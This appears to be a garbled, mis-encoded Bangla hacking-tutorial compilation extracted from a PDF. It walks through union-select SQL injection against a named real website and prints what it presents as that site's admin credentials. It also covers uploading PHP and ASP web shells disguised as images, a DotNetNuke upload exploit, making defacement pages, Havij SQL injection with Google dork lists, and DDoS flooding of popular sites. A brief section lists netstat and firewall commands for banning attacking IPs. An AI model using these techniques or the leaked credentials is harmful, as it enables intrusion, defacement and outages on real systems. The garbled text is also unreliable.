+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin

তাচছর কতরংক টি দািায

httpwwweastodissaacinnews-and-eventsphpid=-

22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--

ছকতফঃ

সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন

এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013

আউজাযচছভভ trustadmin

াযাডব isti$$952013

এখন সল কাজ চছে এডকতভন সচছনর সফয কযা

এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ

মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন

-httpscansubhashdasyamcomadmin-panel-finderphp

অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয

অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন

তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন

httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player

কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না

অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না

কতরচছখচছছনঃ ফারক িঅহমমদ

অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ

াগমবিঃ

Mozilla Firox ভকতজরা পাযাযপকস

Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক

httpsaddonsmozillaorgenfirefoxaddonlive-http-headers

shell সম সকান সর ফযফায কযচছত াচছযন

কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell

httpwwwpastebucketcom19852

or

wwwmediafirecom64fjdlvzo9zhrra

shell username and password

username I-47

password I-47

তাহম এেি শর কসর

১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর

করণ

২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg

৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ

৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন

৫save click কচছযন

৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন

১এখন কতিক করন 47phpjpgচছয কতিক করণ

২ Reply ফাটন

৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত

৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক

২ Reply ফাটন

এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ

এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ

wwwsitecomgallery37473jpg

এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php

এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ

Video Tutorial

httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube

কতরচছখচছছনঃ ফারক িঅহমমদ

কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা

--==DefacePage Generator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন

১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r

২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন

সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif

৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন

এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave

as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files

কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml

--==Advance Deface Page Creator==--

Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar

Tutorial -

পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন

এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ

এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ

এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন

Add Homepage title and texts এ কতিক করন

এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন

সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন

সরখা সল চছর চছক কচছয কতদন

এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন

সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html

--==অকতনমকতদ HTML াচছযন==--

অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন

Collection -bcaware

httpwwwtunerpagecomarchives78980

httpwwwtunerpagecomarchives98804

httpwwwtunerpagecomarchives219088

httpwwwtunerpagecomarchives224434

---------------------------------------------------------------------------------------

---------------------------------------------------------------------------------

1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ

2 Collection of Important Programming Languages E-books

httpwwwfacebookcomdownload290805637728289Collection20of20Important2

0Programming20Languages20Erar

3 Collection of best SQL injection Tools

পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ

অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন

পারক অচছভদ

wwwfacebookcommdfaroqueahmed

Mystrious Tusin

wwwfacebookcomcyb3rc0d3

Page 36: Hacking Bangla eBook

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন

এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ

তাচছর অভযা Administration Panel সরাভ

এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন

মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade

সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা

তাচছর কথা না ফাকতযচছয শর ককতয

পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ

এয জনয অভযা dork use কযফ

inurlindexphpid= inurltrainersphpid=

inurlbuyphpcategory= inurlarticlephpID=

inurlplay_oldphpid= inurldeclaration_morephpdecl_id=

inurlPageid= inurlgamesphpid=

inurlpagephpfile= inurlnewsDetailphpid=

inurlgalleryphpid=

এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয

8500 SQL dorks list

httppastebincomdzknXjgP or

httppastebincomayV6tNS2

পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ

inurlnews-and-eventsphpid=

এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ

সমভন httpwwweastodissaacinnews-and-eventsphpid=22

ছকতফঃ

পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য

এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা

